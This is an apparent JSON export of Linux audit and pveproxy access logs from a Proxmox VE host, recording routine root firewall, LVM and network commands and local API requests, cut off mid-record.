{"@timestamp":1781965819417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965819.417:67236): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235224,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.224:69034): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964480596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781964225836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.836:60118): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235155,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.155:69023): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965560691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964625512,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.512:61841): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966025136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.136:68107): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965815264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.264:67232): arch=c000003e syscall=59 success=no exit=-2 a0=7fffd8b47910 a1=556e68346310 a2=556e6833f680 a3=5 items=1 ppid=64570 pid=64571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235217,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.217:69033): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964479614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964225830,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.830:60117): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234694,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966234.694:69012): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b5bc0 a1=64f8d73dc480 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66273 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965560691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964625505,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.505:61840): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966025129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.129:68105): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965815161,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.161:67214): arch=c000003e syscall=59 success=no exit=-2 a0=7fff27b9cba0 a1=5a1cf4835410 a2=5a1cf4813680 a3=5 items=1 ppid=64551 pid=64552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235210,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.210:69032): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964476676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964225826,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.826:60116): arch=c000003e syscall=59 success=yes exit=0 a0=5f0c8dd52ed0 a1=5f0c8dd4fc50 a2=5f0c8dd31680 a3=5 items=2 ppid=57721 pid=57727 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966234.665:69011): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be8d0 a1=64f8d73ee5b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66272 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965559689,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.075:61839): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966025128,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.128:68104): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965814411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965814.411:67204): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235203,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.203:69030): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964475651,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964225823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.823:60115): arch=c000003e syscall=59 success=yes exit=0 a0=5f0c60dcbac8 a1=7ffdc0879420 a2=5f0c8dd31680 a3=5f0c60daf24e items=2 ppid=57721 pid=57723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966230.883:69010): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965559689,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.065:61836): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966020117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966020.117:68097): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965814410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965814.410:67203): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235196,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.196:69029): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964474659,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 854"} {"@timestamp":1781964225821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.821:60114): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdc08793e0 a1=5f0c8dd38310 a2=5f0c8dd31680 a3=5 items=2 ppid=57721 pid=57722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966230.874:69007): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965559689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964624124,"@rawstring":"node=pve type=EXECVE msg=audit(1781964624.124:61833): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966020116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966020.116:68096): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965814399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965814.399:67201): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235190,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.190:69028): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964472654,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964225818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.818:60112): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57721 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226094,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.094:69004): arch=c000003e syscall=59 success=yes exit=0 a0=55d3df1d5d30 a1=55d3df1e1f40 a2=55d3df1af680 a3=5 items=2 ppid=66261 pid=66267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558669,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781964624087,"@rawstring":"node=pve type=EXECVE msg=audit(1781964624.087:61832): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966020106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966020.106:68094): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965814399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965814.399:67200): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235185,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.185:69027): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964471630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781964225812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.812:60111): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57720 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.091:69003): arch=c000003e syscall=59 success=yes exit=0 a0=55d3de959ac8 a1=7ffe122c8d30 a2=55d3df1af680 a3=55d3de93d24e items=2 ppid=66261 pid=66263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965556769,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964623455,"@rawstring":"node=pve type=EXECVE msg=audit(1781964623.455:61829): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966020106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966020.106:68093): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965809393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965809.393:67198): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235179,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.179:69026): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964468611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964225805,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.805:60110): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.090:69002): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe122c8cf0 a1=55d3df1d13d0 a2=55d3df1af680 a3=5 items=2 ppid=66261 pid=66262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965556769,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781964623418,"@rawstring":"node=pve type=EXECVE msg=audit(1781964623.418:61827): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966015578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.578:68089): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdb3d0a350 a1=583df90503d0 a2=583df902e680 a3=5 items=1 ppid=65384 pid=65385 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965809393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965809.393:67197): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235173,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.173:69025): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964468611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781964225799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.799:60109): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c96c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.086:69000): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965556769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=EXECVE msg=audit(1781964620.057:61826): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966015468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.468:68071): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe6f6fbde0 a1=5c26eb1da1c0 a2=5c26eb1b8680 a3=5 items=1 ppid=65365 pid=65366 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965809385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965809.385:67195): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235162,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.162:69024): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964467600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964225793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.793:60108): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.079:68999): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965556769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=EXECVE msg=audit(1781964620.045:61823): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966015100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.100:68063): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965809385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965809.385:67194): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235155,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.155:69023): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964463669,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964225786,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.786:60107): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.071:68998): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965556769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964619809,"@rawstring":"node=pve type=EXECVE msg=audit(1781964619.809:61818): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965806097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.097:67190): 